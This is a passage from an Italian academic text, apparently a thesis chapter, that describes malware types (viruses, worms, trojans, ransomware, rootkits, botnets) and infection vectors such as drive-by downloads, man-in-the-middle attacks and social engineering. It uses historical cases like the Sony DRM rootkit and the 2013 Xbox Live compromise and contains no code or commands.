prende le attività criminali che implicano un computer e una rete. H. Debarati e K .
Jaishankar [B-15]defniscono i Cyber-crimes come: "Reati che sono commessi nei con-
fronti di individui o gruppi di individui con la fnalità di danneggiare intenzional-
mente la reputazione della vittima o causare danno fsico o mentale, o perdite, in ma-
niera direttamente o indirettamente, utilizzando reti di telecomunicazione moderne
come internet (Chat room, e-mail, gruppi) e telefoni cellulari (SMS / MMS) ".
Tali crimini possono minacciare la sicurezza di una nazione e la situazione f-

nanziaria. Le questioni riguardanti questi tipi di crimini sono diventate di alto prof-
lo, in particolare quelle che riguardano l' hacking , la violazione del copyright, la por-
nografa infantile. Ci sono anche problemi di privacy quando le informazioni riserva-
te vengono intercettate o diffuse.
2.2 Caratteristiche del malware

Cercare di fare una classifcazione sarebbe stato impossibile ed ogni elencazio-
ne sarebbe risultata assolutamente incompleta , quello che abbiamo cercato di realiz-
zare è di sintetizzare e mettere in evidenza le caratteristiche salienti dei gruppi più
interessanti. (Informazioni aggiornate sono reperibili presso i maggiori produttori di
AV [1]).
2.2.1 Virus
E' un termine predominante emerso in combinazione con il termine malware . Il ter-
mine è spesso usato per descrivere i diversi tipi di malware, anche se questi non corrispondono
agli attributi relativi alla defnizione stessa di un virus. Alcune defnizioni sono:
Un virus è un tipo specifco di software dannoso caratterizzato da auto-replicazione [B-46] ; è
un fle di programma per computer in grado di associarsi ai dischi o ad altri fle e di replicarsi
ripetutamente, in genere all'insaputa o senza il permesso dell'utente . Alcuni virus si attaccano
ai fle, in modo che quando il fle infetto viene eseguito, anche il virus viene eseguito. Altri vir-
us risiedono nella memoria di un computer e infettano i fle all'accensione del computer,
modifcano o creano fle. Alcuni virus mostrano dei sintomi, altri danneggiano i fle e il com-
puter-system, ma nessuna delle due caratteristiche è essenziale nella defnizione di un virus;
un virus che non danneggia è ancora un virus [6] ;
I virus sono programmi che si auto-replicano in modo ricorsivo, il che signifca che i
sistemi infetti diffondono il virus ad altri sistemi, che poi propagano ulteriormente il virus.
7
Mentre molti virus contengono un payload distruttivo, è abbastanza comune per i virus non
fare nulla più di diffondersi da un sistema all'altro (comportamento passivo). La pro-
pagazione effettiva tra i sistemi avviene quando i fle infetti vengono trasferiti su altri sistemi.
A seconda del suo sviluppo, un virus informatico può utilizzare tutti i tipi di supporti diversi
per queste capacità riproduttive, come ad esempio i fle-system basati su rete o supporto
rimovibile.
Esempio sez. 10.1 : il codice in linguaggio C di un programma con le caratteristiche di un
virus: il suo eseguibile applica metodi win32 ed agisce sul registro.
2.2.2 Worm
A differenza di un virus, un worm non ha solo la possibilità di copiare se stesso su di-
versi sistemi , ma è anche in grado di diffondersi attivamente. Un worm è in grado di cercare
autonomamente altri computer all'interno della rete e di infettarli, se sono stati individuati
come vulnerabili. Questo è in genere realizzato sfruttando note o vulnerabilità sconosciute nel
sistema operativo o software aggiuntivo installato su di esso.
“Un worm è come un virus che si diffonde attraverso la creazione di duplicati di se stesso su
altre unità, sistemi o reti. Un worm mass-mailing è quello che richiede l'intervento di un
utente per diffondersi, (ad esempio, l'apertura di un allegato o l'esecuzione di un fle scaric -
ato). A differenza dei virus, gli worm non infettano altri fle. La maggior parte dei virus di
posta elettronica di oggi sono worm. Un worm di auto-propagazione non richiede l'intervento
dell'utente per diffondersi. Esempi di worm di auto-propagazione includono Blaster, Sasser e
Confcker”[6].
Un worm non contiene necessariamente routine distruttive o intrusive che danneggia-

no direttamente il sistema della vittima. Alcuni worm sono stati creati esclusivamente per
diffondersi e stabilire un canale di comunicazione con qualche soggetto che vuole controllare
(ad esempio CnC). In questo contesto servono veicolatori attivi. Tuttavia, si deve constatare
che gli worm in genere danneggiano il sistema o la rete sottostante indirettamente. Con le
risorse che consumano, come potenza e larghezza di banda della rete informatica, spesso in-
troducono instabilità nei sistemi host. L' attività di scansione continua, in particolare, con-
suma molte risorse e può infuenzare signifcativamente la rete.
Esempio sez. 10.2: worm lion analisi del comportamento [8]
2.2.3 Trojan Horse

Mentre gli worm operano silenziosamente ed in autonomia, un trojan horse è un mal-
ware che segue un approccio diverso. In generale, un trojan horse nasconde routine dannose
8
fngendo di essere software legittimo da eseguire per attività lecite ed in buona fede. Fin -
gendo di avere uno scopo legittimo, inganna l'utente al fne di installare o eseguire software
che contiene il trojan horse, che poi provvederà a caricare routine dannose embedded.
“Un programma dannoso che fnge di essere un'applicazione innocua. Esso non si replica, ma
provoca danni o compromette la sicurezza del computer. In genere, sono inviati tramite email,
è anche possibile scaricare un trojan da un sito web o tramite rete peer-to-peer. I trojan non
sono considerati virus in quanto non si replicano “[6].
I trojan più conosciuti sono sicuramente le cosiddette Back Door (o R.A.T. "Remote Access
Tool" o anche Trojan Client - Server) che permettono di gestire un sistema remoto tramite
protocollo TCP/IP. Nati con lo scopo di facilitare il lavoro di chi ha la necessità di lavorare su
macchine remote, permettono di avere il pieno controllo del sistema infetto [7].
Generalmente sono costituiti da due parti: il Client e il Server.
• Il server (la parte di programma da installare sul sistema vittima), quando viene eseg-
uito, apporta delle modifche ai registri di sistema in modo da essere avviato ad ogni
sessione e si mette in ascolto su una determinata porta; solitamente è di piccole di-
mensioni e la sua esecuzione è invisibile all'utente.
• Il client, invece, è installato sulla macchina "dell' aggressore". Questa applicazione per-
mette di comunicare con il server. Esistono centinaia di Back Door ma, grosso modo,
la maggior parte tende ad avere le caratteristiche delle tre più famose (ed utilizzate):
Net Bus, Back Orifce, Sub Seven.
Sul sito di Karpersky [1] esiste una classifcazione/differenziazione dei trojan in base
alle conseguenze delle loro azioni : Backdoor, Exploit, Rootkit, Banker, DDoS, Downloader,
Dropper, FakeAV, GameThief, IM, Ransom, SMS, Spy, Mailfnder, ...
Esempio di trojan backdoor server sul sito di Chris Neel .[7]
Esempio di trojan banker (in azione) sul sito Symantec [9].
2.2.3.1 Ransomware e cryptoware

Si propagano in genere come un trojan, entrando in un sistema attraverso, ad esempio,
un fle scaricato o una vulnerabilità in un servizio di rete. Il programma esegue quindi un payload,
che assume tipicamente la forma di un programma dannoso. Questo può visualizzare un mes-
saggio di avviso falso presumibilmente da parte di un ente come un'agenzia di applicazione
della legge, sostenendo falsamente che il sistema è stato utilizzato per attività illegali, gestisce
contenuti come la pornografa e media "pirata", o esegue una versione non originale di
Microsoft Windows .
Criptoware è un software che blocca l’accesso al sistema del computer fno al paga-
mento di un riscatto da parte dell’utente o dell’azienda per riavere indietro i dati contenuti nel
9
dispositivo. Alcuni nomi di ransomware: CryptoLocker, CryptoWall, CoinVault, TorLocker,
CoinVault, TeslaCrypt e CTB-Locker.
Nel luglio del 2015 Andrey Pozhogin [28] , esperto di cybersecurity di Kaspersky
Lab, presenta la sua analisi: mette in evidenza la tendenza crescente degli attacchi ransom -
ware, spiega come opera un attacco di ransomware e le conseguenze associate con il paga-
mento del riscatto, e ciò che possono fare utenti ed imprese per proteggersi. Purtroppo, in
molti casi, una volta che il ransomware viene lanciato, se non c'è un backup o tecnologia pre-
ventiva collegata al sistema, vi è molto poco che un utente possa fare. Tuttavia, a volte è pos-
sibile aiutare gli utenti a decifrare i loro dati che sono stati bloccati dal ransomware, senza
dover pagare il riscatto. Sono stati creati archivi di chiavi di decifrazione. Ma l'attacco può
avvenire soltanto se c'è l'interazione della vittima con il potenziale attaccante: Un ransomware
è in genere trasportato tramite una e-mail che include un allegato che potrebbe essere un fle
eseguibile, un archivio, o un'immagine. Una volta che l'allegato viene aperto, il malware
viene distribuito sul sistema dell'utente. Un ransomware potrebbe anche andare in esecuzione
sulla macchina di un utente se questo visita un sito web che ha nascosto il malware. Una volta
sul sito, un utente esegue inconsapevolmente script non sicuro (a volte facendo clic su un
link o il download di un fle) e il malware viene distribuito al sistema.
Entrambi sia Ramsomware che Cryptoware sono un tipo di malware utilizzato come
meccanismo digitale di estorsione.
Esempio Sez.10.8 : Attacco Ransomware TorLocker
2.2.4 Spyware, Keylogger, Sniffer
Una caratteristica regolarmente presente nel malware è la possibilità di estrarre i dati

in tempo reale da un sistema remoto. Questo è tipicamente ottenuto tramite funzioni che agis-
cono a livello del sistema operativo. Sottogruppi di malware prendono il nome in base alla
loro attività.
• Spyware è un termine generico per programmi scritti con l'intenzione di estrazione
dei dati. Questo può variare da monitorare il comportamento di un utente per l'ot-
timizzazione di messaggi pubblicitari a forme più aggressive, come rubare i numeri
di serie per il software o altri dati sensibili, come informazioni sulle carta di credito.
• Il malware che registra le battiture sulla tastiera, al fne di acquisire le credenziali di
solito è chiamato keylogger.
• Strumenti originati dall' analisi della rete , che sono stati trovati utili in un contesto
dannoso al fne di intercettare il traffco di rete per fltrare per le credenziali, sono
chiamati sniffer.
10
2.2.5 CSS Cross Site Scripting
L'espressione "cross-site scripting" originariamente si riferiva unicamente ad attacchi

basati sull'utilizzo di frammenti di codice JavaScript inseriti all'interno di chiamate a pagine
web dinamiche poste su un web-server (tecnica facente parte dei metodi di code injection) in
modo che il server remoto eseguisse operazioni diverse da quelle previste originariamente
dall'applicativo web. Tale defnizione, gradualmente, si è estesa comprendendo anche altre
modalità di "iniezione di codice" basate non solo su JavaScript ma anche su ActiveX, VBScript,
Flash, ... o anche puro HTML. Ciò ha generato una certa confusione nella terminologia riferita
alla sicurezza informatica: il termine, infatti, ricomprende oggi tutto un insieme di tecniche di
attacco e non esclusivamente quella basata su manipolazione di codice JavaScript.
Javascript (introdotto da Netscape nel 1995) permetteva agli sviluppatori web di fare
ogni sorta di attività come il rollover, movimenti del mouse, e aprire fnestre pop-up. In un
primo momento l'uso era abbastanza ordinato, ma quello che è stato presto scoperto è che un
sito web malintenzionato poteva caricare un altro sito in una cornice o una fnestra adiacente,
quindi usare JavaScript per leggere in esso. Un sito web potrebbe attraversare un confne e
fare script in un'altra pagina. Estrarre dati da moduli, riscrivere la pagina, ecc e da qui il nome
di cross-site scripting (CSS). Attualmente DOM XSS è potenzialmente estremamente perico-
loso siti web basati su cloud e nuove interfacce Web HTML5 usano moltissimo codice Javas -
cript. Javascript può essere abusata per l'hacking in siti web. Questo pericolo è segnalato nella
classifca top Ten 2013 OWASP (The Open Web Application Security Project) [46] e di con-
seguenza nello standard PCI DSS [47].
2.2.6 Rootkits
Sul sito di Karpersky [1] viene classifcato come trojan. La caratteristica principale di
un rootkit è la sua capacità di nascondere determinate informazioni (cioè, la sua presenza) da
un utente di un computer. I rootkit inizialmente erano stati concepiti come uno strumento
riservato agli amministratori , permettendo loro di avere pieno controllo sui processi in fun-
zione nei sistemi client . Questo enorme potere è dato dall'esecuzione diretta del rootkit sul
nodo principale dei sistemi operativi, per lanciare dei processi critici . Con il passare del
tempo questo ruolo di "super-utilizzatore" si è rigirato contro l'industria informatica . Infatti
con questi metodi, agenti esterni riescono ad infltrarsi nei sistemi per prenderne il controllo,
all'insaputa degli utilizzatori ,i quali ignorano la maggior parte delle volte queste intrusioni.
Tecniche rootkit possono essere applicate a differenti livelli di sistema .
Il sistema operativo dialoga con i programmi attraverso un insieme di funzioni,

chiamate API. La parte di queste funzioni che riguardano il fle system, hanno come compito
quello di chiedere informazioni al sistema sui dati registrati nel disco rigido, e di comunicarli
11
alle applicazioni. Il rootkit per raggiungere il suo scopo , và ad agire proprio su questo settore,
intercettando le risposte che le funzioni API restituiscono alle applicazioni, per rimuovere da
esse qualsiasi riferimento riguardante l'oggetto che intende occultare (trojan o backdoor). E' ov-
vio che non avendo ricevuto alcuna informazione, le applicazioni non potranno rilevare alcun
oggetto nascosto . Il rootkit fà in modo di essere lanciato ad ogni avvio del sistema operativo
attraverso una chiave di registro, ovviamente resa anch'essa invisibile con la tecnica appena
vista. Una volta attivo, come una qualsiasi applicazione, il rootkit può operare sia in user-
mode, che in kernel-mode. I programmi che girano in user-mode sono più limitati, nel senso
che operano in un'area ristretta della memoria, e non possono in alcun modo accedere ad
altre aree della memoria stessa . Il kernel-mode al contrario, consente un accesso illimitato ,
ciò signifca che un software in kernel può modifcare e sovrascrivere anche altri programmi
(addirittura il codice del sistema operativo) presente in memoria. Un programma per girare
in kernel-mode deve però essere avviato con privilegi d'amministratore. I rootkit sono al mo-
mento classifcati "user-mode" o "kernel-mode" in base a come si comportano una volta nel
sistema [20].
Manipolare le rispettive informazioni permette ad un rootkit di nascondere processi,

fle o connessioni di rete su un sistema infetto. Rootkit, inoltre, basati su macchine virtuali
nascondono la loro presenza con la migrazione di un sistema operativo infetto su una macch-
ina virtuale [B-26]. Molti campioni di malware applicano le tecniche dei rootkit per nascond-
ere la loro presenza nel sistema .
Esempio di RootKit utilizzato come anticopia da parte di Sony [22]

Nell'ottobre 2005, Mark Russinovitch, di Sysinternals.com, si accorge della presenza
di un programma alquanto insolito sui CD audio Sony. Russinovitch scopre che una volta in -
serito il disco nel lettore del PC, viene installato automaticamente un rootkit anticopia. Questo
rootkit, installato sul PC senza chiedere alcuna autorizzazione e all'insaputa dell'utente, ha
avuto delle conseguenze molto più gravi rispetto a quelle previste da Sony. Oltre a svolgere
la sua funzione anticopia gestendo i DRM ( Digital Rights Management), il programma si nas-
conde in ambiente Windows utilizzando un curioso espediente, cioè quello di rendere invis-
ibili tutti i fle e le cartelle il cui nome inizia per " $sys$ ". In questo modo, l'utente non può ac-
corgersi della presenza del programma anticopia all'interno del suo PC. L'anello debole della
catena era costituito dal fatto che questo espediente spalancava le porte ai creatori di worm e
virus, che potevano creare malware di ogni sorta, contando sulla copertura fornita dal rootkit
Sony: bastava anteporre al malware la sintassi $sys$, ed il gioco era fatto! I malumori scatenati
dal programma anticopia portarono numerosi utenti a lamentarsi, fno al punto che in alcuni
paesi, tra cui USA e Canada, la protesta assunse i caratteri di una vera e propria class action,
che obbligò Sony a richiamare i dischi "difettosi" e a scusarsi pubblicamente per l'errore.
Esempio di RootKit : TDSS che infetta il settore boot [49]
12
Il rootkit TDSS è comparso nel 2008 . Da allora si è molto diffuso, la sua caratteristica princip-
ale è di infettare il settore di avvio (boot), in modo che il codice maligno viene caricato prima
del sistema operativo. TDSS implementa il concetto di infettare i driver; questo signifca che
viene caricato ed eseguito nelle prime fasi del sistema operativo, questo complica notevol-
mente il rilevamento e rende la rimozione una sfda seria. Nel tempo ha subito varie modi -
fche ma alcune parti sono rimaste invariate:
Gli identifcatori TDL [50];
strumenti di infezione dei driver;
L'utilizzo di fle di confgurazione,
Lavorare con il pannello С & C.
Le funzioni più importanti di questo rootkit sono:

Proteggere le chiavi di registro critici nascondendole;
Proteggere i fle critici sul disco nascondendoli;
L'iniezione di codice dannoso in processi di sistema da un driver in modalità kernel;
Nascondere porte di rete TCP;
L'esecuzione di alcune funzioni (terminare processi, chiudere threads, nascondere moduli DLL iniettati etc.)
2.2.7 Bot
U n bot è un pezzo dannoso di software che può essere installato su una macchina
utente a sua insaputa (dell'utente). Una volta iniziata la sua esecuzione, il bot si connette ( in
alcuni casi al server IRC) e si unisce al canale specifcato dall'attaccante. Questi bot sono con-
trollati a distanza da un aggressore. Pertanto, la differenza principale tra worm e bot è che il bot
offre all'attaccante un canale controllato a distanza .
Internet Relay Chat (IRC) è un protocollo di messaggistica istantanea su Internet

Descritto in : RFC 1459 . E' un protocollo di rete aperto che utilizza il protocollo di trasmissio-
ne TCP (Transmission Control Protocol) e opzionalmente il Transport Layer Security (TLS).
Un server IRC (chiamato IRCd) è in grado di connettersi con altri server IRC, formando così
una rete di comunicazione alla quale gli utenti accedono mediante un client. Molti server IRC
non richiedono all'utente di autenticarsi, ma va comunque specifcato un nickname (univoco a
livello della rete IRC).
I bot di oggi combinano le caratteristiche di virus e worm. Ad esempio, si propagano

come worm attraverso le condivisioni di rete, piattaforme fle-sharing, reti peer-to-peer, back-
door lasciate da precedenti worm e / o sfruttano le vulnerabilità. Possono anche nascondere la
loro esistenza come virus utilizzando rootkit. Alcuni analisti li defniscono trojan . I bot sono in
grado di comunicare con altri utilizzando tipi differenti di protocolli come IRC, HTTP o pro-
tocolli peer-to-peer.
13
2.2.8 Botnet
Una botnet è una rete formata da dispositivi informatici collegati ad Internet e infet-
tati da malware che si trovano sotto il comando di un singolo hacker, o un piccolo gruppo di
hacker, conosciuto come un botmaster. I dispositivi che compongono la botnet sono chiamati
bot (da roBOT) o zombie .
• Un bot si riferisce a client-host compromessi, o ad un computer, che è membro di una
botnet. Senza causare confusione, un bot si riferisce anche ad un eseguibile maligno
che compromette i controlli e recluta client-host in una botnet.
• U n o zombie è un elemento compromesso (bot) appartenente alla botnet. CnC (o
C&C)[3] in genere un server IRC impostato da un botmaster . Dopo che un bot avrà in-
fettato un host, si collegherà al server C&C e attenderà i comandi del botmaster. I bot
consentono ai loro creatori di controllare il sistema da remoto.
• I controllori della botnet possono in questo modo sfruttare i sistemi compromessi per
lanciare attacchi distribuiti del tipo ‘distributed denial of service’ (DDoS) contro
qualsiasi altro sistema in rete oppure compiere altre operazioni illecite, in taluni casi
agendo persino su commissione di organizzazioni criminali.
Figura 3: Esempio di struttura di una Botnet
La fgura illustra la struttura generale di una rete bot ed esempi di attacchi DDoS. Il bot
scopritore (triangolo rovesciato, in basso isolato) , la connessione al server centralizzato CnC
(quadrato grande , al centro). I bot (quadratini) già inseriti nella rete ( le truppe che acquisis-
cono una nuova vittima per essere infettata) . Uno dei bot trova una nuova vittima e la infetta
(cerchio , sopra). Infne, un certo numero di bot attaccano un server web (triangolo a sinistra)
in forma DDoS [B-39] .
Sezione n. 5 : Approfondimento sulle Botnet
Esempio n. 10.6 :Schema di attacco di una Botnet
[3]
I server di comando e controllo (C n C o C & C) sono macchine centralizzate in grado di inviare
comandi e ricevere le uscite dalle macchine infette dette anche “zombie” facenti parte di una bot-
net.
14
2.3 Vettori di Propagazione / infezione

Questa sezione fornisce una panoramica dei vettori di infezione comunemente
usati dai software dannosi per infettare il sistema della vittima , costituiscono in con-
nubio con altri, gli strumenti di attacco utilizzati dalle botnet. Brevi esempi servono a
illustrare come queste infezioni funzionano e come il malware li ha usati in passato.
2.3.1 Servizi vulnerabili tramite la rete

I servizi di rete in esecuzione su un server forniscono risorse e servizi condivi-
si ai clienti in una rete. Per esempio, un servizio di DNS fornisce le capacità di risolu-
zione dei nomi di host in indirizzi IP, e un fle server fornisce storage condiviso in
rete.
Molti dei prodotti off-the-shelf sono sistemi pronti ad operare dotati di una va-
rietà di servizi di rete che sono già installati e funzionanti. Alcune vulnerabilità in tali
servizi potrebbero consentire a un utente malintenzionato di eseguire codice sulla
macchina che fornisce il servizio (esempio i server IRC).
Grandi installazioni di servizi di base che condividono la stessa vulnerabilità,

vedi ad esempio le vulnerabilità su sistemi di ampia diffusione (come Microsoft):
• quella nella funzione MDAC (Microsoft Data Access Components) che può
consentire l'esecuzione di codice da parte di utenti esterni (come pubblicato
sul bollettino Microsoft sulla sicurezza n. MS06-014-critico) e quella nel servi-
zio Server che può consentire l'esecuzione di codice in modalità remota (come
pubblicato sul bollettino Microsoft sulla sicurezza n. MS08-067 – Critico) per-
mettendo ad un utente malintenzionato di eseguire senza autenticazione co-
dice arbitrario, creando uno scenario suscettibile ad attacco da worm [10]) ,
hanno aperto la strada per lo sfruttamento automatico. Pertanto, tali condizio-
ni consentono al software dannoso di infettare sistemi accessibili automatica-
mente.
Questa caratteristica rende lo sfruttamento del servizio di rete il metodo pre-

ferito per l'infezione da worms (aprendo la strada a Botnet strutturate con server CnC
che gestiscono numerosi bot). Inoltre, i servizi che forniscono accesso al sistema ad
utenti remoti e permettono l' autenticazione di questi utenti con password (ad esem -
pio, ssh, Interfacce Web, ecc), sono spesso esposti ai cosiddetti 'dictionary attacks ' . Un
15
tale attacco tenta in modo iterativo di accedere a un sistema che utilizza le password
memorizzate in un dizionario. Questo vettore di attacco è identico al caso dei servizi
di rete sfruttabili. Inoltre, la disponibilità di linguaggi di scripting lato client, come
Javascript o VBScript, forniscono all'attaccante mezzi supplementari per lanciare con
successo un attacco [B-14] [B-16] .
2.3.2 Drive-by Download
Drive-by download hanno come bersaglio il Web browser della vittima. Sfrut-
tando una vulnerabilità nell'applicazione , un drive-by download è in grado di scarica-
re codice dannoso dal web e successivamente eseguirlo sulla macchina della vittima.
Ciò avviene di solito senza ulteriore interazione con l'utente.
Diversamente, per sfruttare le vulnerabilità nei servizi di rete in cui gli sche-
mi di infezione push-based sono dominanti. I download drive-by seguono uno schema
pull-based [B-41] . Cioè, le connessioni vengono avviate dal cliente quando sta ri-
chiedendo contenuti dannosi. Pertanto, i frewall che proteggono i servizi di rete da
accessi non autorizzati non possono mitigare la minaccia di attacchi drive-by.
Attualmente, si osservano le seguenti due tecniche, che potrebbero portare a

infezioni drive-by.
- Abuso di API.
Se una certa API permette di scaricare un fle arbitrario da Internet, e un'altra API
fornisce la funzionalità di esecuzione di un fle casuale su una macchina locale, la
combinazione di questi due API può portare ad una infezione drive-by [10][Microsoft
Corporation] . L'utilizzo diffuso di browser plug-in di solito dà agli attaccanti un enor-
me portafoglio di API che si potrebbero utilizzare e combinare per i loro scopi mal-
vagi in modi non previsti.
- Sfruttamento delle Vulnerabilità del Browser .

Questo vettore di attacco è identico al caso dei servizi di rete sfruttabili. Inol-
tre, come descritto in Daniel e Sotiroy [2008] la disponibilità di linguaggi di scripting
lato client, come Javascript o VBScript, forniscono all'attaccante mezzi supplementa-
ri per lanciare con successo un attacco. Prima che accada un drive-by download può
avvenire che un utente debba visitare un sito maligno. Al fne di attirare l'utente a
visitare il sito dannoso, gli attaccanti eseguono ingegneria sociale inviando e-mail di
16
spam che contengono link a questi siti o infettano pagine web esistenti con il codice
maligno. Ad esempio, una tempesta di worm si avvale delle proprie risorse della bot-
net per inviare mail di spam contenenti link a tali pagine di attacco [B-24] .
Per massimizzare il numero di siti che ospitano tali attacchi drive-by, gli ag-
gressori sfruttano vulnerabilità nelle applicazioni web che permettono loro di mani-
polare questi siti web . Esempio di attacco è quello avvenuto nel 2008 al sito dell'
Ambasciata dei Paesi Bassi in Russia [5] , in cui gli attaccanti utilizzano un vettore di
infezione dei servizi di rete vulnerabili per lanciare attacchi download drive-by contro i
clienti di tale servizio.
Un'altra tecnica utilizzata dagli attaccanti per attirare gli utenti ai loro siti web
è quella di cercare di ingannare gli algoritmi di ranking dei motori di ricerca del Web
utilizzati per ordinare le pagine dei risultati. Un utente malintenzionato potrebbe
creare una pagina che è specifcamente resa di rango elevato per i termini di query di
ricerca comune.
Se la pagina è quotata su una posizione di vertice per questi termini di ricerca,

questo si tradurrà in un gran numero di visitatori [B-8] . E' stato scoperto inoltre che
più del 1,3% dei risultati alle query di ricerca di Google includono almeno una pagina
che cerca di installare software dannoso sul computer di un visitatore [B-42].
Provos [B-41] ha analizzato anche le tecniche di autori di malware fnalizzate

ad attirare un utente ad aprire una connessione a un host che esegue attacchi drive-by
download. Le forme più diffuse di tali azioni eludono le misure di sicurezza degli web-
server, fornendo all'utente contenuti generati, schemi pubblicitari e widget dannosi
[B-42] .
2.3.2.1 Man-in-the-Middle
Nella terminologia di sicurezza di rete , " The Middle" è defnito in senso mol-
to ampio. In questo caso si riferisce al dominio d'azione di Man in the Middle( MITM)
una tecnica che rappresenta il caso in cui un soggetto non autorizzato inserisce se
stesso surrettiziamente a un certo punto lungo il fusso di comunicazione tra due o
più parti così da acquisire la capacità di controllare le informazioni scambiate, e forse
anche di modifcare tali informazioni, generalmente senza essere scoperti, permette di
assumere il controllo di una connessione dopo l'autenticazione iniziale. In teoria , l'at-
17
tacco può essere eseguito in qualsiasi punto lungo il canale di comunicazione tra la
vittima . MITM può attaccare attraverso un server che controlla in qualsiasi punto
lungo il canale dati , o dovunque sia possibile prevedere un punto fsico di allaccio .
In pratica sarebbe ineffcace un attacco da qualche parte a caso nella rete dove il traf-
fco è soggetto a futtuazioni di tabelle di routing . Pertanto , questo approccio di soli-
to deve essere iniziato con un attacco di phishing per ingannare l'utente a colmare il
divario .
Quando una macchina fnale sta usando una connessione wireless, MITM po-
trebbe anche interporsi tra tale macchina e la sua connessione al router wireless, prele-
vando il segnale in uscita e poi apparire come l' utente della macchina al router . Il
"Middle " descritto comprende quindi tutti i punti dal momento in cui un segnale la-
scia una macchina ad una estremità di una transazione fno a poco prima di raggiun-
gere la sua destinazione. Tuttavia, MITM potrebbe anche violare l'integrità del segna-
le prima ancora che questo lasci il PC dell'utente, se sottopone l'utente all' attacco di
Man nel Browser (MITB) .
2.3.2.2 Man-in-the-Browser
E' una variante dell'attacco Man-in-the-Middle . L' attacco Man in the Browser
(MITB) è un forma più recente di attacco in cui l'utente del browser è danneggiato
per agire come punto di presa(tap) nel fusso di informazioni, un attacco che si verif-
ca a livello di sistema, tra l'utente e il browser, [piuttosto che attraverso] il protocollo
[B-70] [B-71]. Questo, parlando di struttura, è un Man-in-the-Middle tra l'utente e
meccanismi di sicurezza del browser [B-72] . Pertanto, in termini di sicurezza di rete,
l'attacco MITB è un caso particolare dell' Attacco MitM in cui l'intrusione avviene al
capo estremo del percorso molto più vicino all'utente.
MITB si guadagna l'accesso attraverso la confgurazione di software su siste-

ma, generalmente attraverso un trojan che ha come obiettivo il browser web del com-
puter; non ha bisogno di perdere tempo con il lavoro supplementare in quanto nella
direzione outward-bound, è l‘ autore di tutti i messaggi compromessi inviati. Nella di-
rezione inward-bound , deve avere ancora a che fare con un messaggio completamente
formato , ma non deve preoccuparsi di modifcare il messaggio stesso in modo da na-
scondere le sue azioni . Questo perché MITB controlla direttamente il browser, e ne-
cessita quindi solo di modifcare la visualizzazione del browser per essere come l'u-
tente si aspetta. MITB è "immune" a tutte le forme di crittografa, compresa quella
simmetrica a chiave, essendo esterna ad esse. Le sole limitazioni di MITB sono intor-
18
no al livello di sicurezza che viene installato sui sistemi che attacca . Si conoscono co -
munque casi di trojan che da soli sono riusciti ad attaccare centinaia di migliaia di
utenti contemporaneamente (pertanto ha una grande scalabilità).
2.3.3 Ingegneria sociale.

sociale.
l'ingegneria sociale è un metodo comune, utilizzato da tutti i tipi di persone in
una vasta gamma di professioni. Si tratta di un aspetto naturale e inevitabile della in-
terazione umana, utilizzata sia nel bene (ad esempio per ottenere confessioni nel pe-
nale) che nel male (in operazioni rischiose e con il fne di realizzare truffe).
La defnizione che fornisce “The SANS Institute- UK” :

“Il social engineering è la 'arte' di utilizzare il comportamento umano per violare la sicurezza
senza che il partecipante (o vittima) nemmeno si rendano conto di essere stati manipolati”
[21]. La parte importante di questa defnizione è il contesto in cui è applicato il con-
cetto. Quando si tratta di garantire il business e di informazioni sensibili la defni-
zione potrebbe diventare:
“L'arte di ottenere informazioni sensibili e / o manipolare individui per far loro
svolgere azioni che possono provocare una violazione della sicurezza”.
Tra i primi e più famosi esperti di tale arte che l'hanno applicata al mondo in-
formatico c'è Kevin D. Mitnik il quale afferma che “è molto più facile ingannare qual-
cuno per farsi dare una password che spendere tempo e fatica a rompere un sistema”.
Tutte le tecniche che attirano un utente ad eseguire deliberatamente codice

maligno sul suo computer, possibilmente sotto falsi pretesti, sono considerati come
attacchi di social engineering. Non ci sono praticamente limiti alla creatività di attac-
canti quando è coinvolta la social engineering. Chiedere all'utente di installare un co-
dec previsto per visualizzare il flm che è ospitato sul sito Web corrente, facendo clic
ed aprendo un'immagine che è allegata a una email di spam, o speculando che l'uten-
te colleghi ad una porta del suo computer una chiave USB “trovata” sono solo al-
cuni esempi di ingegneria sociale.
2.3.3.1 Esempio: Attacco con violazione di Microsoft Xbox

Nel mese di marzo 2013 gli account di fgure di alto proflo ed ex dipendenti
di Microsoft Microsoft Xbox Live sono stati compromessi da aggressori. Questo non è
19
stato realizzato attraverso tecniche dirette di hacking come ad esempio attacchi di
password contro portali d'accesso o codice che sfrutta zero-day. Invece gli attaccanti
hanno seguito la metodologia standard di ingegneria sociale al fne di acquisire un
pezzo di informazioni per poi acquisire un altro pezzo più sensibile.
Gli aggressori sono stati in grado di ottenere l'accesso, attraverso tecniche di

ingegneria sociale, i numeri di previdenza sociale (SSN) dei loro obiettivi di alto pro-
flo, quindi utilizzare queste informazioni insieme ad altri dettagli per ottenere l'ac-
cesso agli account Xbox LIVE. Tuttavia, Microsoft non conserva SSNs e non le colle-
ga in alcun modo con gli account Xbox LIVE. Così come hanno fatto gli aggressori
usano il SSN dei loro obiettivi? Gli aggressori hanno utilizzato il SSN, insieme a tec-
niche di social engineering, per attaccare una società di terze parti che utilizzava il
SSN e aveva anche le informazioni relative ai conti XBox Live. E' stata questa società
di terze parti che è stato attaccata, non direttamente Microsoft.
Questo metodo può essere paragonato a quello di effettuare una caccia al te-
soro o riunire pezzi di un puzzle . Con una quantità suffciente di indizi o pezzi del
puzzle, si è ancora in grado di raggiungere l'obiettivo fnale o di capire cosa l'imma -
gine del puzzle potrebbe essere, senza bisogno di tutti gli indizi o pezzi del puzzle.
Questo attacco dimostra due tecniche molto comuni ed effcaci di social engi-
neering. Il primo è il concetto di trasformare le informazioni innocue in informazio-
ni sensibili. Ad esempio, gli attaccanti possono aver avuto alcuni frammenti di in-
formazioni personali riguardanti i dipendenti Microsoft. Questo può essere stato in-
dirizzi e-mail, data di nascita, ecc … Hanno quindi utilizzato tali informazioni, insie-
me con l'ingegneria sociale, per ingannare una società a rivelare SSN del dipendente.
Poi il SSN può essere utilizzato per ingannare la società di terze parti nella reimpo -
stazione della password per l'account Xbox LIVE o tutto ciò che era necessario per ot-
tenere l'accesso ad essa.
Il secondo concetto coperto in questo attacco è l'idea che l'informazione ber-

saglio può essere trovata in più di una posizione. Ad esempio, se un utente malin-
tenzionato volesse acquisire le coordinate bancarie avrebbero necessariamente indi-
rizzare la vostra banca? I dettagli dell'account saranno probabilmente conservati in
molti luoghi differenti da varie aziende. Può essere molto più facile per un utente
malintenzionato indirizzarsi verso la vostra palestra locale che potrebbe memorizza-
re le coordinate bancarie dopo aver impostato un debito diretto con loro. La sicurez-
20
za delle informazioni è forte come il luogo più debole in cui siano archiviate o uti -
lizzate.
21
3 Analisi del malware Statica e Dinamica
